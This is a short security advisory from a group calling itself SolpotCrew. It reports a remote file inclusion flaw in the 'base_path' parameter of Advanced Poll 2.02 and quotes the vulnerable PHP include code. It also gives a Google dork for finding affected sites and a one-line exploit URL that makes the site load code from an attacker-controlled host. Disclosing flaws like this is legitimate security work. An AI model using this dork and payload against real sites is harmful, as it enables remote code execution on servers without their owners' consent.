SolpotCrew Advisory #2 - Advanced Poll ver 2.02 (base_path) Remote File Inclusion

[chris_hasibuan () yahoo com]

#############################SolpotCrew Community################################ 
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# Advanced Poll ver 2.02 (base_path) Remote File Inclusion 
# 
# Vendor site : http://www.proxy2.de/scripts.php 
# 
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# Bug Found By :Solpot a.k.a (k. Hasibuan) 
# 
# contact: chris_hasibuan () yahoo com 
# 
# Website : http://www.solpotcrew.org/adv/solpot-adv-02.txt
# 
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# 
# 
# Greetz: choi , cow_1seng , Ibnusina , Lappet_tutung , h4ntu , r4dja , 
# L0sTBoy , Matdhule , setiawan , barbarosa, NpR , Fungky , Blue|spy
# home_edition2001 , Rendy ,Tje , m3lky , no-profile
# and all crew #mardongan @ irc.dal.net 
# 
# 
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Input passed to the "base_path" is not properly verified 
before being used to include files. This can be exploited to execute 
arbitrary PHP code by including files from local or external resources. 

code from /admin/common.inc.php 

$pollvars['SELF'] = basename($PHP_SELF); 
if (file_exists("$base_path/lang/$pollvars[lang]")) { 
include ("$base_path/lang/$pollvars[lang]"); 
} else { 
include ("$base_path/lang/english.php"); 

google dork : inurl:comments.php?action= send id 

EXPLOIT : 

http://somehost/[path_advanced_poll]/admin/common.inc.php?base_path=http://atacker 

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